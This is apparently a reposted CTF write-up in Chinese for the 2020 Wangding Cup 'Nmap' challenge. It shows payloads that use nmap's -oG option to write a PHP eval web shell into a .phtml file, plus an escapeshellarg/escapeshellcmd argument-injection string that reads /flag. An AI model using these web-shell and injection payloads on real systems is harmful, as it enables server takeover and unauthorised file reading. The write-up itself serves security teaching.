已解决
[网鼎杯 2020 朱雀组]Nmap 通过nmap写入木马 argcmd过滤实现逃逸
来自网友在路上 165865提问 提问时间:2023-09-22 19:18:04阅读次数: 65
最佳答案 问答题库658位专家为你答疑解惑
这道题也很好玩 啊 原本以为是ssrf 或者会不会是rce
结果是通过nmap写入木马
我们来玩一下
传入木马
映入眼帘是nmap
我们首先就要了解nmap的指令
Nmap 相关参数-iL 读取文件内容,以文件内容作为搜索目标
-o 输出到文件-oN 标准保存-oX XML保存-oG Grep保存-oA 保存到所有格式
我们将木马作为文件读取 然后输出到.php后缀中
<?php @eval($_POST['attack']);?> -oG hak.php
我们换短标签看看
<? echo @eval($_POST['attack']); ?> -oG hak.php
发现还不行 我们看看是不是php过滤了
果然 那我们使用其他的 例如phtml
'<? echo @eval($_POST["a"]);?> -oG hck.phtml '
任意文件读取
这里我不知道师傅们怎么知道存在 escapshellarg()和escapshellcmd()的
但是我们可以通过这两个来了解
escapshellarg()
这个的操作比较多
对类似非法的 进行 加引号和转义符
例如
' ----> '\''
escapshellcmd()
这个是对非法进行加转义符
' ----> \'
我们这里可以进行尝试
127.0.0.1' -iL /flag 1.txt
通过arg过滤是
'127.0.0.1'\'' -iL /flag 1.txt'
然后通过 cmd转义
这里会匹配\ 为非法 进行转义
'127.0.0.1'\\'' -iL /flag -o 1.txt'
那么这里 \\ '' 就会识别为\
所以简化就是
'127.0.0.1'\ -iL /flag -o1.txt'
从而爆出读取失败的值
这里报错值的原理是去访问 文件 使用参数 -iL
然后 读取失败 就会将读取的值报错出来
然后我们访问1.txt' 记得后面有一个逃逸的单引号
127.0.0.1'\ -iL /flag -o1.txt
就可以实现读取
查看全文
99%的人还看了
相似问题
猜你感兴趣
版权申明
本文"[网鼎杯 2020 朱雀组]Nmap 通过nmap写入木马 argcmd过滤实现逃逸":http://eshow365.cn/6-11618-0.html 内容来自互联网,请自行判断内容的正确性。如有侵权请联系我们,立即删除!